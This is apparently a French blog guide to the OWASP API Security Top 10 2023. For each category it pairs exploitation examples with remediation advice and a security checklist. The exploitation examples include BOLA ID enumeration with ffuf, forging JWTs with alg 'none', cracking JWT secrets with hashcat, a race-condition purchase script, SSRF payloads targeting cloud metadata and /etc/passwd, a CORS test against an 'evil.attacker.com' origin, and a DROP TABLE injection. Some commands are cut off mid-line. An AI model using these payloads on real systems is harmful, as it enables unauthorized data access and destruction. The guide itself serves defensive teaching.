OWASP API Security Top 10 2023 : guide exploitation et remédiation

> Guide complet OWASP API Security Top 10 2023 : exploitations BOLA, JWT, SSRF, CORS avec exemples de code vulnérable, remédiation et checklist sécurité API...

Les APIs REST, GraphQL et gRPC sont devenues le tissu conjonctif de l'économie numérique : en 2025, plus de 83% du trafic internet passe par des APIs selon le rapport State of the API de Postman. Cette omniprésence fait des APIs une surface d'attaque prioritaire pour les acteurs malveillants, et les incidents de sécurité API se multiplient : la fuite de données T-Mobile (2023) a exposé 37 millions de comptes via une API non authentifiée, Optus Australia (2022) a subi une exfiltration de 9,8 millions de dossiers clients via une API exposée sans authentification, et Toyota Japan (2023) a exposé des données véhicules pendant dix ans via une clé API codée en dur dans un dépôt GitHub public. L'OWASP, conscient de la spécificité des vulnérabilités API par rapport aux vulnérabilités web applicatives classiques, a publié en 2023 une version mise à jour de l'API Security Top 10, restructurant et enrichissant les catégories pour refléter les menaces actuelles. Ce guide détaille chaque catégorie avec des exemples de code vulnérable et sécurisé, des techniques d'exploitation, et une checklist de remédiation opérationnelle.

À RETENIR

À retenir :

API1 BOLA/IDOR est la vulnérabilité API la plus fréquente et la plus impactante : elle permet d'accéder aux données de n'importe quel utilisateur en manipulant les identifiants d'objets.

Les JWT mal configurés (algorithme "none", secret faible, absence de validation d'expiration) représentent le vecteur d'authentification cassée le plus exploité.

L'absence de rate limiting (API4) expose les APIs à des attaques de type credential stuffing, scraping massif et DoS économique.

> La gestion de l'inventaire des APIs (API9 - shadow APIs) est le défi organisationnel le plus sous-estimé des équipes de développement.

Pourquoi l'OWASP a créé un Top 10 spécifique aux APIs

La liste OWASP Web Application Security Top 10 existe depuis 2003 et a historiquement dominé les référentiels de sécurité applicative. Mais les APIs présentent des risques spécifiques que le Top 10 Web ne couvre pas correctement. Les APIs exposent directement la logique métier et les données structurées, sans la couche de présentation HTML qui constitue une barrière naturelle pour certaines attaques. Les mécanismes d'autorisation des APIs sont souvent plus complexes : contrôle d'accès au niveau de l'objet (BOLA), au niveau de la propriété d'objet, et au niveau de la fonction — trois niveaux distincts qui correspondent aux trois premières positions du top 10 API.

Les APIs sont également consommées par des clients multiples et hétérogènes (applications mobiles, SPA JavaScript, microservices, partenaires tiers), ce qui complique la gestion des versions, des permissions, et du cycle de vie. La prolifération des APIs shadow — des endpoints non documentés, oubliés, ou créés de façon non contrôlée — est un phénomène massif dans les grandes organisations qui développent rapidement. L'OWASP API Security Top 10 2023 a été révisé pour intégrer ces spécificités et refléter les tendances observées dans les incidents réels.

API1 : Broken Object Level Authorization (BOLA/IDOR)

BOLA est la vulnérabilité API la plus répandue et la plus dangereuse. Elle survient quand une API expose des endpoints qui manipulent des identifiants d'objets (ID utilisateur, ID commande, ID document) sans vérifier que l'utilisateur authentifié a le droit d'accéder à cet objet spécifique. C'est la version API de l'IDOR (Insecure Direct Object Reference). Consultez notre analyse détaillée sur les vulnérabilités IDOR.

⚡ Retour terrain

Sur un test d'intrusion externe pour un groupe de BTP, j'ai exploité une CVE de 2023 sur une instance Confluence exposée sur Internet — non patchée depuis 14 mois. L'application était 'connue de l'équipe IT' comme devant être mise à jour mais la priorité n'avait jamais été accordée. En 20 minutes d'exploitation, j'avais un shell sur le serveur et accès au réseau interne. La fenêtre d'exploitation de 14 mois sur une CVE exploitée in-the-wild est malheureusement représentative.

```
 # Exploitation BOLA : manipulation d'ID dans l'URL
# Requête légitime de l'utilisateur ID 42
GET /api/v1/users/42/orders HTTP/1.1
Authorization: Bearer TOKEN_USER_42

# Exploitation : accès aux commandes d'un autre utilisateur
GET /api/v1/users/100/orders HTTP/1.1
Authorization: Bearer TOKEN_USER_42  # Token valide mais pour un autre user !

# Test avec FFUF pour énumération d'IDs
ffuf -u "https://api.target.com/v1/users/FUZZ/profile"   -H "Authorization: Bearer MY_TOKEN"   -w

# Test avec Burp Intruder : paramètre ID en position
# Position: /api/orders/§1000§ — Sniper sur liste d'IDs séquentiels
```

Code vulnérable vs sécurisé :

```
 # VULNERABLE : pas de vérification de propriété
GET /api/orders/{orderId}
// Handler : return db.getOrder(orderId)  // n'importe qui peut accéder

# SECURISE : vérification que l'ordre appartient à l'utilisateur authentifié
GET /api/orders/{orderId}
// Handler :
// order = db.getOrder(orderId)
// if order.userId != authenticatedUser.id: return 403 Forbidden
// return order
```

API2 : Broken Authentication

Les mécanismes d'authentification des APIs sont souvent mal implémentés, notamment pour les JSON Web Tokens (JWT) qui sont omniprésents dans les APIs REST modernes :

```
 # Test JWT avec algorithme "none" (vulnérabilité historique)
# Decoder le JWT
echo "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjQyfQ." |   base64 -d 2>/dev/null

# Modifier et re-signer avec algo "none"
# Header: {"alg":"none","typ":"JWT"}
# Payload: {"userId":1,"role":"admin"}
python3 -c "
import base64, json
h = base64.b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).decode().rstrip('=')
p = base64.b64encode(json.dumps({'userId':1,'role':'admin'}).encode()).decode().rstrip('=')
print(f'{h}.{p}.')
"

# Crack de secret JWT faible avec jwt-cracker ou hashcat
hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt

# Test credential stuffing sur endpoint login
ffuf -X POST -u "https://api.target.com/v1/auth/login"   -H "Content-Type: application/json"   -d
```

Les bonnes pratiques JWT incluent : utiliser RS256 (asymétrique) plutôt que HS256 (symétrique) pour les tokens partagés entre services, valider explicitement l'algorithme (rejeter "none"), implémenter la rotation des secrets, et définir des durées de vie courtes (15-30 minutes) avec refresh tokens.

API3 : Broken Object Property Level Authorization

Cette catégorie couvre deux problèmes distincts : l'over-fetching (retourner plus de propriétés que nécessaire, exposant des données sensibles) et le mass assignment (permettre la modification de propriétés non autorisées via un endpoint).

```
 # Mass assignment exploitation : modifier le rôle utilisateur
# L'API accepte toutes les propriétés de l'objet dans le body
PATCH /api/v1/users/42 HTTP/1.1
Content-Type: application/json

{"name": "New Name", "role": "admin", "isVerified": true}
# Si l'API ne filtre pas les champs, role et isVerified sont modifiés !

# Test : ajouter des champs sensibles connus dans une requête PATCH/PUT
# Candidats : role, admin, isActive, credits, balance, permissions, verified

# Over-fetching : l'API retourne des champs sensibles non nécessaires
GET /api/v1/users/42
# Réponse: {"id":42,"name":"Alice","email":"alice@ex.com",
#           "passwordHash":"$2b$...","apiKey":"sk-xxx","internalScore":99}
```

API4 : Unrestricted Resource Consumption

L'absence de rate limiting et de quotas expose les APIs à des abus de ressources : credential stuffing, scraping massif, DoS économique sur les APIs facturées à l'usage, et épuisement des ressources serveur :

```
 # Test de rate limiting avec Nuclei
nuclei -u https://api.target.com -t rate-limit/

# Test manuel : envoyer 100 requêtes rapides et observer le comportement
for i in $(seq 1 100); do
  curl -s -o /dev/null -w "%{http_code} " https://api.target.com/v1/search?q=test
done

# DoS économique sur API de traitement d'images (exemple)
# Envoyer des images très grandes pour maximiser les coûts de compute cloud
curl -X POST https://api.target.com/v1/process-image   -F "image=@/tmp/huge_image_10MB.jpg"
# Répéter automatiquement pour épuiser le budget cloud
```

Les mécanismes de défense incluent : rate limiting par IP et par token d'authentification, quotas par plan tarifaire, timeout agressifs sur les requêtes longues, et limites de taille sur les payloads acceptés.

API5 : Broken Function Level Authorization

Les endpoints d'administration ou de fonctions sensibles sont parfois exposés sans restriction adéquate, en particulier quand la sécurité repose sur l'obscurité (endpoints "cachés" non documentés) :

```
 # Enumération des endpoints admin avec FFUF
ffuf -u "https://api.target.com/FUZZ"   -w /usr/share/wordlists/api-endpoints.txt   -H "Authoriza

# Test d'élévation de privilege sur des endpoints verbeux
# Changer GET pour POST, DELETE, PUT sur des endpoints normalement read-only
DELETE /api/v1/users/42  # L'utilisateur peut-il se supprimer lui-même ? Ses admins ?
POST /api/v1/admin/users  # Créer un nouvel utilisateur admin avec un token user ?

# Tester les verbes HTTP inhabituels
OPTIONS /api/v1/users/42  # Révèle les méthodes autorisées
HEAD /api/v1/users/42
TRACE /api/v1/users/42  # Cross-Site Tracing si activé
```

API6 : Unrestricted Access to Sensitive Business Flows

Cette catégorie concerne l'abus des workflows métier légitimes de l'API pour un gain non autorisé : achats en masse pour un exploit de prix, contournement des limites de tentatives de vote ou de coupon, scraping de données avec des tokens légitimes :

```
 # Exemple : abus d'un workflow d'achat avec race condition
# Utiliser plusieurs threads pour acheter le même article limité
python3 -c "
import requests, threading
def buy():
    r = requests.post('https://api.shop.com/v1/buy',
        json={'item':'limited_edition_1', 'qty':1},
        headers={'Authorization': 'Bearer TOKEN'})
    print(r.status_code, r.json())

threads = [threading.Thread(target=buy) for _ in range(20)]
[t.start() for t in threads]
[t.join() for t in threads]
"

# Test de coupon multi-usage (si le coupon est censé être à usage unique)
for i in $(seq 1 10); do
  curl -X POST https://api.target.com/v1/checkout     -d '{"coupon":"DISCOUNT50","amount":100}'
done
```

API7 : Server-Side Request Forgery (SSRF)

Les APIs qui acceptent des URLs comme paramètres d'entrée et effectuent des requêtes HTTP vers ces URLs sont vulnérables au SSRF. Dans un contexte cloud, le SSRF peut mener à l'accès aux APIs de métadonnées (AWS IMDS, GCP Metadata Server) et à la compromission de l'infrastructure. Voir notre analyse détaillée des attaques SSRF vers IMDS cloud.

```
 # Test SSRF basique : pointer vers des services internes
POST /api/v1/fetch-url
{"url": "http://169.254.169.254/latest/meta-data/"}  # AWS IMDS
{"url": "http://localhost:27017"}  # MongoDB interne
{"url": "http://10.0.0.1/admin"}  # Interface admin interne
{"url": "file:///etc/passwd"}  # LFI via SSRF (si file:// accepté)

# Bypass des filtres SSRF courants
{"url": "http://[::ffff:169.254.169.254]/latest/meta-data/"}  # IPv6
{"url": "http://169.254.169.254.nip.io/latest/meta-data/"}  # DNS rebinding
{"url": "http://0177.0.0.1/admin"}  # Notation octale

# Test avec Burp Collaborator pour les SSRF "blind"
{"url": "http://VOTRE_BURP_COLLABORATOR_ID.burpcollaborator.net/"}
```

API8 : Security Misconfiguration

Les misconfiguraciones de sécurité des APIs couvrent un large spectre : CORS permissif, messages d'erreur verbeux, méthodes HTTP non restreintes, en-têtes de sécurité manquants :

```
 # Test CORS permissif
curl -X OPTIONS https://api.target.com/v1/users   -H "Origin: https://evil.attacker.com"   -H "Ac
# Si la réponse contient:
# Access-Control-Allow-Origin: https://evil.attacker.com
# Access-Control-Allow-Credentials: true
# => Exploitation CORS possible pour exfiltrer des données avec les cookies de la victime

# Test des en-têtes de sécurité manquants
curl -I https://api.target.com/v1/health
# Vérifier la présence de:
# X-Content-Type-Options: nosniff
# Strict-Transport-Security: max-age=31536000
# X-Frame-Options: DENY  (pour les endpoints renvoyant du HTML)

# Verbose errors : message d'erreur trop détaillé
curl -X POST https://api.target.com/v1/query   -d "SELECT * FROM users WHERE id = '1'"
# Si la réponse contient le message d'erreur SQL exact,
# la stack trace, ou des informations sur l'architecture interne
```

API9 : Improper Inventory Management

Les shadow APIs — endpoints non documentés, versions obsolètes encore actives, environnements de test accessibles en production — représentent une surface d'attaque invisible que les équipes sécurité ne surveillent pas :

```
 # Découverte des anciennes versions d'API encore actives
for version in v1 v2 v3 v4 beta alpha; do
  curl -s -o /dev/null -w "$version: %{http_code}
"     "https://api.target.com/$version/users"
done

# Recherche d'endpoints de développement en production
for env in dev staging test uat qa demo; do
  curl -s -o /dev/null -w "$env: %{http_code}
"     "https://api-$env.target.com/v1/users"
done

# Enumération de fichiers de documentation API exposés
ffuf -u "https://api.target.com/FUZZ"   -w /tmp/api-docs.txt  # swagger.json, openapi.yaml, api-d

# Recherche dans les dépôts GitHub publics de l'organisation
# gh search code "api.target.com" --owner target-org
```

Les bonnes pratiques de gestion d'inventaire API incluent : un portail développeur centralisant toute la documentation, la dépréciation formelle avec sunset dates communiquées, le monitoring de trafic pour détecter des appels vers des endpoints obsolètes, et des scans réguliers de découverte automatique avec des outils comme Swagger Scan ou DAST.

API10 : Unsafe Consumption of APIs

Les APIs qui consomment des services tiers peuvent introduire des vulnérabilités si les données reçues de ces services ne sont pas validées et traitées de façon sécurisée. Un attaquant qui contrôle un service tiers consommé par votre API peut injecter des données malveillantes :

```
 # Exemple : injection via une API tierce de géolocalisation
# L'API de paiement consomme une API de lookup d'adresse
# et insère le résultat directement dans la DB sans sanitisation

# Payload injecté dans l'API tierce compromise
{
  "address": "1 Rue de la Paix"; DROP TABLE users; --",
  "city": "Paris"
}
# Si l'API principale insère cette valeur sans préparation : SQL injection !

# Autre exemple : SSRF via une API tierce de rendu de contenu
{
  "content": "<img src='http://internal-service/admin/secrets'>"
}
```

Outils de test sécurité des APIs

La boîte à outils complète pour tester les APIs selon l'OWASP Top 10 :

Burp Suite Pro : Proxy d'interception, scanner DAST, Intruder pour les attaques paramétriques. Extension JWT Editor pour les attaques JWT. Voir notre guide sur l'API security fuzzing avec Burp et Nuclei.

Postman : Tests fonctionnels et collection runner pour les tests automatisés, intégration dans les pipelines CI/CD

FFUF : Fuzzer web rapide pour l'énumération d'endpoints et la découverte de shadow APIs

Nuclei : Scanner de vulnérabilités template-based avec des templates spécifiques aux APIs REST et GraphQL

KITERUNNER : Découverte d'endpoints API par replay de Swagger specs et wordlists

jwt_tool : Manipulation et exploitation de JWT (none alg, key confusion, brute force)

Arjun : Découverte de paramètres HTTP cachés dans les endpoints API

Checklist sécurité API en 20 points

Cette checklist couvre les contrôles de sécurité essentiels pour toute API REST en production :

Authentification et autorisation (5 points)

1. Authentification requise sur tous les endpoints non publics
2. Vérification de l'appartenance de chaque objet à l'utilisateur authentifié (anti-BOLA)
3. JWT avec algorithme RS256, durée de vie ≤ 30 min, validation de l'expiration
4. RBAC granulaire avec vérification côté serveur des permissions de fonction
5. Whitelist des champs acceptés en écriture (anti-mass assignment)

Transport et cryptographie (3 points)

6. HTTPS obligatoire, HSTS activé, redirection HTTP vers HTTPS
7. CORS restrictif : origines explicites, credentials uniquement si nécessaire
8. Certificats valides, TLS 1.2+ minimum, TLS 1.3 recommandé

Validation des entrées (4 points)

9. Validation du schéma sur tous les corps de requête (JSON Schema, OpenAPI)
10. Limite de taille sur les payloads (Content-Length max)
11. Sanitisation des URLs acceptées (anti-SSRF : blocage des plages privées)
12. Validation des types de fichiers uploadés (magic bytes, pas seulement l'extension)

Rate limiting et quotas (2 points)

13. Rate limiting par IP et par token (429 Too Many Requests)
14. Quotas par utilisateur sur les opérations coûteuses

Réponses et gestion d'erreurs (3 points)

15. Messages d'erreur génériques (pas de stack trace en production)
16. Réponses uniformes pour les 401 et 403 (ne pas révéler l'existence des ressources)
17. En-têtes de sécurité présents : X-Content-Type-Options, X-Frame-Options, CSP

Monitoring et inventaire (3 points)

18. Logging exhaustif des requêtes et réponses (sans données sensibles)
19. Inventaire centralisé de tous les endpoints avec propriétaire et date de dépréciation
20. Scans DAST réguliers intégrés dans le pipeline CI/CD

Pour une implémentation détaillée, référez-vous à l'OWASP API Security Project et aux guides de test de PortSwigger Web Security Academy sur les APIs. Consultez également notre guide sur la désérialisation non sécurisée pour les vecteurs d'attaque complémentaires aux APIs.

FAQ — Questions fréquentes sur la sécurité des APIs

Quelle est la différence entre BOLA (API1) et Broken Function Level Authorization (API5) ?

BOLA (Broken Object Level Authorization) concerne l'accès à des données d'un autre utilisateur en manipulant l'identifiant d'objet dans l'URL ou le corps de la requête. Par exemple, changer /api/orders/42 en /api/orders/100 pour accéder aux commandes d'un autre client. Broken Function Level Authorization (API5) concerne l'accès à des fonctions ou des endpoints auxquels l'utilisateur ne devrait pas avoir accès du tout. Par exemple, un utilisateur standard qui peut accéder à /api/admin/users ou utiliser la méthode DELETE sur des ressources réservées aux administrateurs. La distinction est importante pour la remédiation : BOLA se corrige au niveau de la logique de vérification de propriété des objets, API5 se corrige au niveau du RBAC et des permissions de fonction.

Comment protéger une API contre le credential stuffing quand les utilisateurs veulent une expérience fluide ?

La protection contre le credential stuffing doit combiner plusieurs couches sans dégrader l'expérience utilisateur légitime. Le rate limiting adaptatif (plus strict pour les IPs inconnues ou les patterns suspects) est la première ligne. Les challenges CAPTCHA ou les défis JavaScript peuvent être réservés aux requêtes dépassant un seuil de tentatives. La détection de données compromises via l'API HaveIBeenPwned permet de notifier proactivement les utilisateurs avec des credentials exposés. La MFA (TOTP, passkeys) est la défense ultime : même si les credentials sont connus, l'attaquant ne peut pas se connecter sans le second facteur. Pour les APIs critiques (paiement, santé), une combinaison d'empreinte client (user-agent, IP géolocalisation,

comportement) avec un moteur de fraude peut détecter des connexions légitimes-credentials/comportement-frauduleux.

Les APIs GraphQL ont-elles des vulnérabilités spécifiques non couvertes par l'OWASP API Top 10 ?

GraphQL partage la plupart des vulnérabilités de l'API Top 10 mais présente des vecteurs spécifiques. L'introspection activée en production révèle le schéma complet de l'API (équivalent d'un Swagger sans authentification). Le batching d'opérations permet de contourner le rate limiting en envoyant des centaines de requêtes dans un seul appel batch. Les nested queries récursives peuvent provoquer un DoS exponantiel si la profondeur et la complexité des requêtes ne sont pas limitées. La résolution de champs sans contrôle d'accès granulaire mène à l'over-fetching de données sensibles (équivalent BOLA mais au niveau des champs). Les bonnes pratiques GraphQL incluent : désactiver l'introspection en production, limiter la profondeur et la complexité des queries, implémenter un RBAC au niveau des resolvers, et utiliser des outils comme graphql-armor.

Sources et références

MITRE ATT&CK — Tactiques, techniques et procédures offensives

OWASP — Top 10 des risques applicatifs

ANSSI — Panorama de la cybermenace 2024

Pour aller plus loin

Les concepts présentés dans cet article constituent une base solide pour approfondir le sujet. Ces ressources complémentaires permettent d'aller plus loin dans la compréhension et la mise en pratique.

Ressources officielles de référence

ANSSI — Guides et recommandations techniques — La bibliothèque technique de l'ANSSI publie régulièrement des guides à jour sur tous les aspects de la sécurité des systèmes d'information. Disponibles gratuitement sur ssi.gouv.fr.

NIST Cybersecurity Framework — Référentiel international structurant la gestion des risques cyber en 6 fonctions. Version 2.0 publiée en 2024, disponible sur nist.gov.

MITRE ATT&CK — Base de connaissances des techniques adversariales, régulièrement mise à jour avec les nouvelles menaces observées dans le monde réel.

Formation continue

Certifications professionnelles reconnues : CISSP, CISM (management), OSCP, CEH (technique)

Plateformes de formation pratique : HackTheBox, TryHackMe, Hack The Box Academy

Veille quotidienne : bulletins CERT-FR, alertes CISA, flux RSS NVD

Mise en réseau professionnel

La communauté cybersécurité française est active et ouverte : les clubs RSSI, l'OSSIR, le CLUSIF, et les conférences comme le FIC (Forum International de la Cybersécurité) et les SSTIC sont des points de rencontre essentiels pour les professionnels du secteur. Ces échanges permettent de rester à jour sur les menaces émergentes et les bonnes pratiques réelles.

